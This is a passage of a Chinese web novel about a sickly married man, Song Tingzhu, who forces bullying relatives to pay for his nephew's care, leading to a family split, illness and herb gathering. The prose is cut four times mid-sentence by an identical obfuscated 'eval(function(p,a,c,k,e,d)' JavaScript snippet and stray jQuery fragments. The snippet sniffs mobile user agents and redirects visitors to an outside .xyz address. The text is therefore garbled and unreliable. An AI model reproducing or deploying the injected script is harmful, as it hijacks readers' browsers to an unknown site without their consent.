宋听竹面色更冷：“堂弟这意思是夏哥儿一个三岁幼童，为了嫁祸刘杰心思深沉到不仅将自己摔进泥坑，还将买来的豆腐全部踩烂？” 刘文想要反驳：“我……” 宋听竹打断他，“劳烦各位婶子大娘瞧瞧，这泥坑附近的脚印，有几处是夏哥儿的，又有几处是玉书堂弟口中‘只是顽劣了些’的杰小子的。” “我瞧瞧，哎哟这全是杰小子的脚印，压根也瞧不见夏哥儿的脚印啊！” “可不是，何况夏哥儿才三岁，咋可能做出讹人的事儿来，文哥儿这话说得可就有些过了。” “听人说读书人最在乎名声，马上便是科考的日子，这事儿若是传出去，不会影响到玉书小子科举吧？” “文哥儿啊，还不快给你嫂夫郎认个错，可别耽误了玉书小子的前程。” 这事儿大伙一寻思便能猜出始末，若是换了别家早骂开了，因着刘玉书在镇上念书，又是个有天分的，都不想将刘老二家得罪太狠，便只让道个歉此事就算揭过。 然而宋听竹并不打算这么算了，一声轻飘飘的对不起，便想将夏哥儿受到的委屈抵消了去，世上哪有这等好事。 “不必同我道歉，你该道歉的人是夏哥儿，若想揭过此事，堂弟便领着杰小子去给夏哥儿道歉，另外夏哥儿瞧病的银子，我也不多要你们的，半两银子就好。” “半两银子，你咋不去抢？！” 二婶崔玉兰得到消息，急匆匆赶回家，听到这话当即黑下脸指着宋听竹鼻子骂。 “个病秧子打秋风打到老娘头上来了，你家夏哥儿咋这金贵，瞧个病就能花上半两银子？再者夏哥儿自个儿摔倒的，凭啥要我家出银钱瞧病？不给，一文钱也别想从我这拿走！” “老二家的，这事儿的确是你家杰小子的错，不过竹哥你张口便要半两银子，也有些不像话，找梁大夫瞧病顶天儿能花个百十文，要半两银子可就有讹人的嫌疑了。” “是啊竹哥儿，你这不是得理不饶人嘛。” 来瞧热闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916811|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的婆子婶娘惯会和稀泥，主打一个谁也不得罪。 崔玉兰见状气焰越发嚣张，叉腰梗脖，摆出一副你能奈我何的架势来。 宋听竹站得久了有些体力不支，向一位面善的婶子借了马扎，一屁股坐在刘二老家院儿门前。 崔玉兰愣住：“你、你这是干啥？” 宋听竹道：“半两银子只能多不能少，二婶儿什么时候拿出来，我便什么时候离开。” 说完掩着唇瓣，咳了好一阵子才停下。 “竹哥儿你身子不好，还是赶紧回家歇息吧。” “就是，银钱哪有命重要。” “二生家的，你领着杰小子去给夏哥儿赔个不是，再把医药钱付了，这事儿就算过了，两家就算分了家，也还是乡亲，犯不着为了这等小事闹僵。” 几个上了年纪的婆子，仗着年纪大些，站出来指手画脚。 宋听竹却没有半点让步的打算。 他从小妹口中得知，二叔一家往日没少到家里打秋风，小妹同夏哥儿更是经常被刘文几个欺负，刘老太太偏疼二叔一家，回回都是家里吃闷亏，赔礼又赔钱。 如今正好寻到由头，让他借着机会，让二婶一家大出血一回。 至于两家关系，闹得越僵越好，最好老死不相往来，如此一来待家中日子过得好了，也省得这头的找上门，觍着脸要分一杯羹。 崔玉兰见他坐着不动，甚至还从怀里摸出一本书来看，脸色霎时一阵青白。 宋听竹捧着游记，看上两行便是一阵撕心裂肺的咳，没一会儿面色便苍白如纸，瞧着像是要不行了一般。 “娘，他不会死在咱家吧。”刘文凑到他娘跟前，神情慌乱，“奶呢，咋还没回来？” 崔玉兰心里也有些犯嘀咕，瞥着宋听竹动向，小声说道：“快了，我已经让人去通知了。” 两厢对峙了小半刻钟，刘老太太迈着小脚噔噔噔穿过人群。 嘴里不住骂着：“虎子咋就娶了你这么个不孝顺的，怪不得宋家不喜，性子这般毒便是亲爹也不待见！ 再说这进门做了新妇，哪个不是先来孝顺家中长辈，你倒好还敢来家里讹银钱，早知如此当初就该上府城把你退还给那宋家！” 刘老太太越说越恼：“当初说定的分明是宋蕊儿，要不是你这个病死鬼，我刘家早搬去镇上住大宅子享清福了！” 大伙闻言，又议论开。 “竹哥儿这都嫁过来多久了，刘老太太咋还记恨着呢。” “好好的有钱嫡小姐，被替换成了个身无分文的药罐子，这落差搁你能承受得住？” “受不住还能咋的，都分家二十来年了，当初刘大生一家子吃糠咽菜时，咋不想着帮上一把，等到要发达了又觍着脸往上贴，瞅见没机会不是冷嘲热讽就是一顿臭骂，我敢打赌，哪天玉书小子真要考出个啥名堂，她刘老太也不会让老大家沾半分光，信不？” 这话倒是不假，村里有些年纪的都晓得刘老太太是个啥人，真等到那天，刘老大家别说沾光，不叫上一帮子人，来家里闹场大的就是好的。 大伙心有戚戚，宋听竹却捧着书本纹风不动，等刘老太太骂得口干舌燥，方才合上书页，顶着一张毫无血色的面孔，直勾勾盯着刘老太太瞧。 刘老太太被唬住，吞咽着口水，色厉内荏道：“你、你干啥，我可告诉你就算你死在家门口，这银钱我也决计不会出！” 宋听竹勾起嘴角：“奶奶放心，听竹还不想死呢，且玉书堂弟要读书科举，听竹怎么会让堂弟间接背上逼死嫂夫郎的罪名，这种断送堂弟前程的事儿，听竹是万不可能去做的。” 虽笑着，但那笑容却瞧得刘老太太一家子毛骨悚然。 这哪里是为了玉书着想，摆明是赤.裸.裸的威胁啊！ 刘老太太脸色堪比锅底，心里是千百个不乐意，但为着孙子前途着想，银钱还是得舍，不过这事儿可不能就这么算了！ 下个月玉书便要去县里参加童试，连夫子都说此次科考十有八九能考个好名次回来，届时老大一家休想前来讨便宜！ 刘老太太拉着张脸，银子掏的不情不愿，见宋听竹接过银子揣进怀里，一双浑浊的老眼更是淬了毒一般。 “老大家既然如此不孝，今儿老婆子我就当着众乡亲的面把话撂这，日后两家便断了往来，他日玉书金榜题名，老大一家子休想来沾半点光！” 宋听竹拧起眉心作后悔状，心中则轻松道：最好不过。 15.断绝往来 与此同时，刘老大家。 刘小妹满脸担忧地望着床上，闭着眼睛不停呓语的夏哥儿。 “梁爷爷，夏哥儿怎么样了？” 梁老大夫收起药箱，道：“无大碍，只是受了惊吓，需得好生安抚。夏哥儿年纪小，若是处理不当怕是会有损心神。” 有、有损心神？ 刘小妹怔住。 她想起上河村有个痴傻汉子，便是幼时受了惊吓，爹娘没当回事，等发现时已经晚了，那夏哥儿…… 梁老大夫猜出小丫头心中所想，宽慰道：“没你想的那般严重，只是性子许会有所转变，譬如话少、怕生。” 刘小妹拍着胸口，呼出一口来：“梁爷爷您吓死我了。” “那就好，那就好。”杨六婶也跟着松口气，拍着刘小妹肩道，“灵芝啊，你在家好好照顾夏哥儿，六婶儿去帮你送梁大夫。” “谢谢婶子。”刘小妹眼圈通红，“嫂夫郎到现在还没回，您路上要是瞧见了，麻烦让嫂夫郎早些回来。” “成。” “小叔么，夏哥儿要小叔么呜呜……” 二人刚出院子，夏哥儿便醒了过来，小家伙没瞧见宋听竹，嘴巴一瘪，攥着被角哭到泣不成声。 刘小妹怕他哭坏嗓子，忙跟着哄：“夏哥儿不哭，嫂夫郎马上就回来了。” 话音刚落，便听见宋听竹的声音在门口响起。 “小妹，夏哥儿。” 刘小妹面上一喜：“嫂夫郎！” 夏哥儿瞧见宋听竹回来，扬起满是泪痕的小脸儿，朝他伸出手臂：“小叔么……” 宋听竹快步走到床前，弯腰将小家伙揽入怀中。 “小叔么在呢。” 夏哥儿一双小手抓着他衣襟，脸蛋儿贴在他颈侧，带着哭腔道：“呜夏哥儿不是撒谎精，小叔么不要讨厌夏哥儿好不好？” 宋听竹轻抚着夏哥儿发顶，嗓音温柔：“夏哥儿这般乖巧小叔么喜欢还来不及，怎么会讨厌？小叔么知道撒谎的不是夏哥儿，是刘杰兄妹。” 他从怀里掏出银子，温声问道：“夏哥儿瞧这是什么？” 夏哥儿埋首在他颈间，听见问询微微抬起下巴，脑门儿还抵着宋听竹的肩，模样很是依赖。 “是银子。”小家伙轻声说。 宋听竹勾起唇角：“这是小叔么帮你讨回来的。” 夏哥儿眨眨眸子，“给夏哥儿的？” “嗯，小叔么已经教训过欺负你的人了。”宋听竹接过刘小妹递过来的帕子，边给小家伙擦着哭花的脸蛋儿，边说道，“日后若是再遇见西院的，躲不开便寻机会回家找小叔么，小叔么帮你出气。” 夏哥儿闻言，举起拳头一脸奶凶：“小叔么帮夏哥儿揍他。” 宋听竹笑着应了声：“好。” 方才在西院，除了要回半两银子，临走前还装作身形不稳，给了刘杰那小鬼一个教训，才五岁的年纪就将刘老太太尖酸刻薄的嘴脸学了个六七分，若是再不好好教导，他日必定酿出祸端。 不过两家已经彻底断绝关系，西院的人会如何，也与他无关了。 哄夏哥儿喝过药，宋听竹又搂着人将人哄睡了，这才分出神来去做其他事。 临近晌午，阮秀莲婆媳二人去地里施肥回来，知晓此事后，皆是一脸怒容。 唐春杏则恨得举起柴刀，要去西院给自家小哥儿讨公道，被刘小妹拦了下来。 “大嫂冷静些，嫂夫郎已经帮夏哥儿讨了说法，不仅要回半两银子，还将刘杰教训了一顿，而且奶奶当着大伙面说要跟咱家断绝往来，断亲书都写了，日后家里再也不用给那头交养老钱了。” 阮秀莲听后万分震惊：“啥，那老婆子竟然肯同意跟家里断亲了？” 唐春杏一时间也被惊到没了话，好半晌才问刘小妹：“竹哥儿干的？” 刘小妹重重点头：“是啊！嫂夫郎可厉害了，奶奶一听会影响刘玉书前途，当即就要跟家里断了关系，还喊着等刘玉书考中秀才，咱家也别想跟着沾半点光呢。” 阮秀莲闻言呸了声，“当谁稀罕似的，他刘老二家别说出了个秀才，便是出了个状元，老娘也断不会上赶子讨好。” 就冲死老婆子当年险些将他一双儿子害死这事儿，她阮秀莲这辈子都不会低头。 唐春杏也道：“这亲早该断了，爷奶为了给二叔家玉书弄银子读书，这些年可没少来家里闹，爹孝顺回回都给个百八十文，加上每月的养老钱，一年给出去不少银钱。 但实际上西院日子过得滋润着呢，上回我偶然听杰小子说起，他每日能吃上两颗鸡蛋，咱家夏哥儿连一个都吃不上，再说小妹，分明是十二岁的年纪，可瞧着同别家十岁的丫头差不多大,家中日子过得这般困难，跟西院的脱不了干系！” 唐春杏平日里爱贪些小便宜，嘴上也没个把门儿的，大事儿上却从不见她含糊，且是个知恩必报的，晓得是弟夫郎给夏哥儿出了口恶气，心中对宋听竹的成见减少了一大半。 “弟夫郎呢，怎的不见他人？” 阮秀莲也看向自家小女儿。 刘小妹道：“嫂夫郎把夏哥儿哄睡后，说是身子有些乏也回屋躺下了。” 阮秀莲点头：“那便让他多歇会儿。” 唐春杏说：“娘，我去煨些米粥，等弟夫郎醒了好让他拿来填肚子。” 哟，今儿这是转性了。 阮秀莲瞧大儿媳一眼，继而说道：“多煮上半碗，再添两颗鸡蛋，夏哥儿受了惊吓也得好好补补。” 唐春杏面上挂笑：“哎。” 宋听竹这一歇便歇到了晡时，一家子这才察觉出不对，阮秀莲到西屋查看，便见宋听竹裹着棉被，面色潮红地躺在床榻间。 “坏了，这是染上风寒了，小妹快去村头将梁大夫请来！” 唐春杏立即道：“小妹腿脚慢，还是我去吧。” 话落扭身跑出院子。 两刻钟后，梁老大夫背着药箱气喘吁吁迈进刘家小院，诊治过后，老大夫捋着胡须，没好气儿道：“没啥大事儿，不过感染了些风寒，吃两服药将养上段时日便好。” 不等娘仨松口气，又道：“只是虎子他夫郎身子本就弱，对寻常人来说不算啥的小病症，放在竹哥儿身上便是场难挨的大病。” 一家子立马又着急起来：“这可如何是好？” 梁老大夫捋捋胡须，话锋又是一转。 “倒也不必太过忧心，只是病得时日长了些，对性命无甚大碍。” 娘仨大气儿不敢出，生怕再出啥变故，这厢梁大夫背上药箱作势要走，悬着的心方才落了地。 － 宋听竹这一病便是月余，日子仿佛又回到了住在竹园时，每日只能躺在床榻间，少有放风的机会。 不同的是，这回不仅可以靠着看书解闷儿，还多了刘小妹、夏哥儿、田乐这三个开心果陪着，让他纵使出不了房门，也不会觉得太憋闷。 而最让他惊讶的是大嫂唐春杏，这段日子大嫂忽然转了性子，不仅没再对他阴阳怪气，还经常来西屋送茶送水，且面上每回都带着笑，关切地问他渴不渴、饿不饿。 宋听竹猜出是夏哥儿的缘故，心情甚好地想自己也算是因祸得福拿下了大嫂。 “哎哟喂，老大一家没个孝顺的，老的不孝小的更是不孝，连我这个老婆子的棺材本儿都算计，个烂心肠黑心肝的，就该让雷活活劈死才好！哎哟，不孝啊，大伙都来瞧瞧啊……” 田乐端着针线筐推门进屋，翻着白眼道：“那老太婆又来院前叫骂了，隔三岔五便来一趟也不嫌累。” 宋听竹倚靠在床头，朝他笑了笑：“来了。” 田乐一屁股坐在床尾，语气无奈：“嫂夫郎竟还笑得出来，现在村里都传嫂夫郎是个狐狸精，把刘家搅得不得安宁呢。” 宋听竹勾唇：“狐狸精不好吗，若是愿意活上千百年都可以。” 田乐鼓起腮帮子，气闷道：“狐狸精可不是啥好词儿，那老太婆仗着嫂夫郎生病没法子外出，在村里造了好些谣，虽被大娘跟虎子哥收拾过，可刘翠娥毕竟年纪大了，又不能动手，威胁的话不痛不痒，有些唬不住那老太婆。” 见宋听竹仍旧笑眯眯，没有半点要生气的样子，田乐恨不得上去抓着人肩膀，将人摇醒。 宋听竹不慌不忙，将一杯茶水喝净，这才开口说道：“别急，我有法子治刘老太太。” 田乐立即将耳朵凑上前，“真的？啥法子说来听听。” 宋听竹道：“刘翠娥最在乎的莫过于孙子刘玉书的前程，且她信鬼神，这几日又恰好是童试开考的日子，我们可以在这方面使些手段，让她没精力关注家里。” 田乐闻言，拍手道：“还是嫂夫郎聪明， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922665|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘玉书就是老太婆的命根子，但凡村里有半点对她孙子不利的言论，老太婆能不重样地骂上好几日。” 他朝宋听竹露出个不怀好意的笑来，“嫂夫郎这事儿就交给我吧，保证帮你办得漂漂亮亮～” 宋听竹知道他是个有分寸的，便点头答应下来。 “对了，图纸的事可有进展？” “没有……”方才还精神抖擞、满面笑容的人，顿时垮下肩膀，一脸愁容。 “我都快把图纸翻烂了，还是一点思绪都没有，总觉得我似乎想岔了，明儿要还不行我就换个思路。” 宋听竹鼓励道：“别着急，我相信你可以。” 田乐垂下脑袋，丧气道：“也就只有嫂夫郎会这么说，我娘天天说我这不行那不行，说得我都快生出心病了。” 田乐向来是个乐观的，丧得快恢复得也快，不等宋听竹安慰，便又重新高兴起来。 他直起身，叉腰道：“没关系，等我干出一番大事业，娘就晓得她家哥儿多有本事了！” 宋听竹被乐哥儿胸有成竹的自信模样感染，不禁也跟着期待起来。 田乐陪他待到晌午，在刘家人下地回来前，带着毫无进展的绣活回了自家。 刘小妹在灶房里烧饭，夏哥儿帮着添柴，小家伙每过上一会儿都要进屋瞧一眼宋听竹，生怕小叔么又不听话下床走动。 小叔说了，小叔么每日只有一刻钟可以下床散步的机会，一刻钟就是一刻钟，多出一点都不成！ 房门被一双小手推开，接着探进来半个圆滚滚的脑袋瓜。 宋听竹瞧见，无声笑了笑，朝着只露出一双杏眸的小家伙，招手道：“过来。” 夏哥儿眸子微亮，哒哒哒跑上跟前，身子贴着床沿，笑眯眯唤了声：“小叔么。” 宋听竹捏了捏小哥儿软乎乎的面颊，笑着问：“可是在帮小姑烧柴做饭？” “嗯呐～” “真乖。小叔么这里有饴糖，夏哥儿要不要吃？” 夏哥儿闻言，一脸警惕地望着他。 前几日小叔么便是这么将他哄了去，害他被小叔训了一通。 小家伙想起前几日的事，立马背过小手，噘着嘴巴瞧着宋听竹。 宋听竹眼底笑意更深，“这回不哄你，小叔么不会再偷偷下床了。” 小家伙明显不信，皱着眉头，不放心道：“真的？不骗夏哥儿？” “真的。”宋听竹点着小家伙眉心，笑着回道。 夏哥儿这才舒展表情，露出笑脸：“谢谢小叔么～” 宋听竹摸着小哥儿头顶直冲天际的发髻，哭笑不得。 这头型是他给梳的，小家伙近日黏他黏得紧，几乎日日都来找他梳头，家里人宠着他都说可爱，可到了外头没少招笑。 宋听竹听小妹说后，好生练习了一阵子，奈何他实在没那天赋，手艺虽有所长进，但也只是到了不会散架，尚能一看的程度。 不过仅是这样，小家伙也已经足够开心了。 宋听竹又喂夏哥儿喝了半碗茶水，这才将另外几块饴糖递给他。 “拿去跟小姑一起吃。” “嗯！”说着滑下床，迈着一双短腿哒哒哒跑开。 时值孟春，天晴气暖、草木返青，也到了小麦拔节、追肥灌水的时候。 刘家田地少，但要全部灌溉完，也得要个几日才成，且家中劳力不多，阮秀莲婆媳外加上刘大生，整整灌溉了三日才忙活完。 为了给几人补充体力，这几日的晌午饭，刘小妹便做得比往常丰盛了些。 唐春杏扛着锄头进院，便嗅到一阵香椿芽炒鸡蛋的香气，直把人勾得口里生津。 “哟，小妹又炒鸡蛋芽子啦。” 刘小妹从灶房里探出脑袋，“还炒了腊肉瓜片，闷了粗粮饭呐。” “这么丰盛。” 不止唐春杏，阮秀莲夫妇也忍不住吞咽起口水。 西屋内，宋听竹听着院外传来的说话声，抿起唇角。 为了给他瞧病，家里这些日子勒紧了裤腰带，前几日又交了灌溉农田的费用，娘那里怕是也不剩下多少银子了，入夏还要缴纳各类税，刘家八口人少说也得个一两银子，届时少不得要同邻里乡亲低头哈腰，借银子度日。 宋听竹垂眸思索。 赚钱迫在眉睫，须得尽快同夫君商讨一番才是。 16.俺没生气 几日后。 云溪村百姓忙完农活，得了几日空闲，三三两两坐在院儿前扯起闲篇儿。 “这几日咋没听见刘老婆子到老大家叫骂了？一连骂了大半月，忽然停了还真有些不习惯哩。” “这事儿我晓得，前儿个村里来了个算卦的，算的那叫一个准，谁家姑娘小子叫啥，嫁到哪家去了，年岁几何，算得一分不差！刘老婆子最是信这些个，也去找人算了一卦，结果你们猜怎么着？” 大伙儿抻长脖子，一脸好奇：“怎么着？” “那算命的算出刘老二家文曲星降世，日后必定一人得道鸡犬升天呐！” 众人听后，嘶了一声。 而后不禁发出疑问：“不该啊，依着刘老太太爱炫耀的性子，早该将此事宣扬的人尽皆知了，咋会这么安分？” 晓得事情始末的妇人，神神秘秘道：“这你们就不知道了，那算命的说刘家虽有文曲星降世，但行事需得低调，考中举人老爷前万不能声张，否则会影响运势。” “啥？那刘家小子能考上举人？” “咱村里连个秀才都没出过，这要真考出个举人老爷，大伙岂不是都能跟着沾沾光？” “可不，这事儿光是说出去就倍有面子，家里有小哥儿、姑娘的，往后还能愁嫁？” “俺的老天爷你们可真敢想！别说举人老爷，就是秀才咱莲溪镇也没几个，玉书小子要真能考中举人，他刘家可就真是祖坟上冒青烟儿了！” “谁说不是，刘老大家上个月刚跟那头断了亲，要是晓得西院出了个文曲星，肠子都要悔青了。” 刘虎从镇上做工回来，刚拐进村子就听几个大娘婶子，凑在一处聊得津津有味，瞧见他还热情地打了声招呼。 “虎子啊，这是刚打镇上做工回来？” 刘虎点头，拎着做活的家伙事儿，开口唤了声：“婶子。” “哎。虎子你听说没，村里都在传你那四堂弟是文曲星降世，将来必能高中当官老爷呢。” 大伙纷纷盯着刘虎瞧，本意是想看他后悔，谁知这憨小子竟半点不在意，面上一点变化都没有。 “听说了。婶子要是没事，俺就先回了。” “这傻小子，都是一个刘家的，你堂弟要真能考中，你们东院儿不也跟着一起改换门庭？” 刘虎闻言，皱起浓眉：“俺家已经跟那头断了亲，这光俺家不沾。俺还要回去给媳妇儿熬药，就先回了。” 说完迈开步子，朝自家走去。 “嘿，还真是傻子一个，要真有这机会，让我天天捧着刘老太太都成，只要能让家里日日吃上肉，有花不完的银钱，别说挨骂，便是给我两巴掌我都能笑呵呵的。” “那可是举人老爷，只要能攀上，让俺干啥都成！” “你们都忘了？刘家之所以会分家，是因为刘老太太把阮秀莲一双儿子给丢进后山了，要不是山脚下的老猎户将虎子捡了去，这会儿人早没了。两家说是仇人都不为过，咋可能还会往上贴。” “倒也是，差点忘了这茬。” “哎，那赵老七家姑娘要嫁去镇上，给有钱老爷当妾了，你们晓得……” 谈论声逐渐飘远，刘虎迈着步子拐过巷口的大榕树，耳边这才彻底清静下来。 待进了院子，蹲在院里玩耍的夏哥儿，立马起身哒哒哒跑上前。 “小叔！” 刘虎弯腰将小家伙抱起，接着便听夏哥儿蹙起两条秀气的眉毛，奶声奶气跟他告状。 “小叔么今天在外头待了好久，夏哥儿都吃完两颗饴糖了，还不肯跟夏哥儿回屋呢。” 西屋内，宋听竹正立在窗前看书，恰好将这一幕瞧了去，他朝汉子勾起一抹浅笑，温声解释：“昨日便同你说过，我身子已经养得差不多了，今日要出去透透气。” 他顿了下，耳根处泛起一抹不明显的红来：“你答应过我，不会生气。” “俺没生气。”刘虎咧了下嘴角，扭头对夏哥儿说道，“小叔忘了跟夏哥儿说，往后只用看着小叔么喝药就行了。” 小家伙点着下巴接下任重：“夏哥儿知道啦～” 晚上用饭，大嫂唐春杏在饭桌上提起西院。 “今儿去蔡婶子家换豆腐，听婶子说那刘玉书是文曲星转世，将来能当大官呢。” 阮秀莲听见那头就来气，登时搁下碗筷，没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927963|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好气儿地看向大儿媳。 “少想些没用的，西院那头便是有座金山银山，也跟咱家没关系。” 唐春杏咬着饼子，垂眉搭眼：“我就说一嘴，没想跟着过去占便宜。” 阮秀莲沉着脸：“最好是。” 见饭桌上气氛不对，刘小妹给她娘夹了筷子菜，咂摸着嘴道：“娘你尝尝这个腌菜，我咋觉得时间短了，还有点不入味呢。” 阮秀莲尝过后，点头道：“是淡了点儿，待会儿再搁两勺盐拌拌。” “对了娘，嫂夫郎又给我画了几个新花样子，我比着绣了张帕子，您帮我瞧瞧定价多少合适。” 小丫头跑回屋取了帕子，眼神期待地递出去。 阮秀莲接过帕子，惊讶道：“这花样子好看，绣得也精细，少说能卖个三四文。” “真的？”刘小妹神情激动，当即掰着手指头算，“我手里的碎布头还能绣上十五张左右，按一张定价三文算，十五张便是四十来文，除去买绣线的银钱，能赚二三十文哩！” 镇上一张麻布帕子只要半文钱，绣了简单花样子的能多卖上半文，像刘小妹绣的这种，只有府城才有的新鲜样式，外加绣得精巧、用得绣线明艳漂亮，定价高出个几文，也是不愁卖的。 若是换成棉布或绢布，定价还能再往上涨上一两番，只是棉布与绢布太贵，且刘小妹的绣工不够精湛，真让她用好料子绣，反而适得其反，卖不出啥高价。 刘猛朝自家小妹竖起大拇指：“小妹如今也厉害了，都能赚银钱了。” 刘大生也高兴，发话道：“小妹赚得银钱不用上交家里，留着做体己钱。” 刘小妹一脸高兴：“谢谢爹！” 小院儿里又响起欢声笑语。 一家子吃过晚饭，各自回屋歇下。 西屋内夫夫二人泡过脚，吹灭油灯并肩躺在床榻上。 “夫君？”黑暗中，宋听竹轻声唤道。 无人回应。 偏头去瞧，汉子呼吸略显粗重，还带着细微鼾声，俨然是一副熟睡的模样。 宋听竹抬手帮人掖好被角，心道：左右还不到时辰，赚钱的事明日再提也不迟。 17.挖野菜 阳春三月草长莺飞，正是野菜冒芽的好时节。 昨日刘小妹同几个小姐妹约好，今日一起到后山挖野菜，宋听竹在家憋了许久，也打算跟去瞧瞧。 这事儿自然少不了夏哥儿，于是用过早饭，三人便一同出了门。 “灵芝，这儿呢！” 三个年纪跟刘小妹差不多大的小姑娘，站在大榕树下朝他们挥手。 刘小妹有些日子不见小姐妹，面上露出激动，也抬起手臂用力挥了挥。 待走近了，她向宋听竹介绍道：“嫂夫郎，她们是我玩得最好的朋友，徐小满、赵金珠和钱霜儿。” 宋听竹点头，他笑着看向三人：“你们好。” 几个小姑娘平日里没少听刘小妹夸她嫂夫郎长得好看，一两次还好，说得多了便有些不信了，再好看还能有县太爷家姑娘、小哥儿漂亮？ 如今见了才晓得小姐妹说的竟是真的，嫂夫郎长得好好看，皮肤白白的，好像剥了壳的鸡蛋一样，又白又嫩，三个小丫头愣了好一会儿方才回神。 “嫂夫郎好。” 几人红着脸颊，异口同声。 “好啦，再磨蹭下去野菜要被人挖没了。”刘小妹挽上小姐妹手臂，迫不及待道，“走了走了，娘跟大嫂还等着我挖野菜回来，包野菜包子呢。” 一行人浩浩荡荡出发去往后山。 刘家离着后山不算太远，走个两刻钟就能到，这点路对农家子来说不算什么，就连三岁的夏哥儿都没觉着多累。 但对宋听竹来说，就有些难挨了，他本就身子不好，又许久不曾下床走动，行至半道额头上便已经沁出汗水，双腿也如同灌了铅一般越发沉重。 刘小妹在前头跟几个小姐妹聊得开心，眼看就要到山脚下，忽然猛地停住步子，一脸懊恼地朝身后跑去。 坏了，光顾着和姐妹们玩闹，把嫂夫郎给忘了！ “嫂夫郎你怎么样，有没有哪里不舒坦？” 宋听竹脸颊两侧泛着潮红，刘小妹瞧见顿时有些吓到。 “没什么大碍，只是有些累需要休息。”宋听竹一只手扶着树干，气息微喘，腿边夏哥儿皱着眉头，小脸儿上满是担忧。 “小叔么喝水。”小家伙拧开娘亲给自己带上的竹筒，踮起脚高高举起。 宋听竹接过去抿了一小口，喉咙里这才好受些，垂眸摸着夏哥儿发顶道：“小叔么好多了。” “嫂夫郎，我送你回家歇息。” 刘小妹满脸自责，赶过来的三个小姑娘同样一脸关心地望着他。 “不用紧张，休息一会儿就好，你们去挖野菜吧，我跟夏哥儿在山下等你们。”宋听竹温声说。 几个小姑娘都没走，陪着一起待了片刻，见他面色恢复正常，这才携手高高兴兴往山上跑去。 “夏哥儿，你要帮小姑照顾好小叔么哦。”临走前，刘小妹叮嘱三岁半的小侄子。 夏哥儿拍着胸脯，脆生生地保证道：“夏哥儿会照顾好小叔么哒～” 待刘小妹走后，小家伙蹲在宋听竹身旁，小肉手撑着下巴，一双亮晶晶的眸子一眨不眨盯着他瞧。 宋听竹见状低笑出声，见他这么认真，也就任由小家伙去了，只是夏哥儿年纪太小，半刻钟不到便被一只小虫吸引了去。 今日来挖野菜的村民不少，遇见面善的婶子朝自己打招呼，宋听竹便一一笑着回应，有那对他瞧不上眼，甚至恶语相加的，也不会特意去避着，自个儿身正不怕影子斜，便是当面对峙也不怵。 “神气个啥，府城来的又能咋的，一没银钱二生不了娃，刘老大家娶他进门，真是倒了八辈子血霉！” “谁说不是，可怜了虎子，今年都二十一了连个娃都没有。” 两个嘴碎的婆子走远了，夏哥儿还鼓着面颊，气呼呼地对着二人。 “好了不生气了。”宋听竹牵过小家伙，拿出帕子给他擦掉掌心处粘上的泥土，“方才见你在树下努力得很，可是挖到什么宝贝了？” 小家伙立即露出笑脸，“嗯呐，夏哥儿拿给小叔么瞧！” 话音未落，迈着短腿跑回树下，将一把野草取了来，朝宋听竹摊开掌心，邀功道：“夏哥儿挖到野菜啦～” 宋听竹久居宅院内，也没见过几回野菜，不过夏哥儿挖的这两株，倒是认识——车前草，又名野甜菜，是一味很常见的草药，多生于田 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14933003|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间草甸、沟边路旁，农户日子艰苦，多把车前草当作野菜挖来吃。 宋听竹接过草药，精致的面庞染上笑意。 “夏哥儿做得很好，帮了小叔么很大的忙。” 小家伙十分高兴，指着树下一张小脸儿上满是兴奋：“那边还有好多呐，夏哥儿再去挖～” 宋听竹起身：“小叔么陪你一起。” 他本就打算挖些草药来卖，只是书中记载的草药采摘时辰，同现实有些许出入，书中写道车前草三月底方可采摘，可现下刚入孟春便有了。 “小叔么快来，这里还有好多呐！”夏哥儿扭头唤他。 宋听竹快步上前，跟在夏哥儿身后绕过一块半人高的巨石，在其后方果然发现了成片的车前草，顿时又惊又喜。 一大一小忙活半天，待刘小妹跟小姐妹挖完野菜回来，瞧见树下成堆的野菜，立时瞪圆了眼。 “嫂夫郎，你去挖野菜了？” “不是野菜是草药哦，用来卖钱哒！”夏哥儿抢着回答。 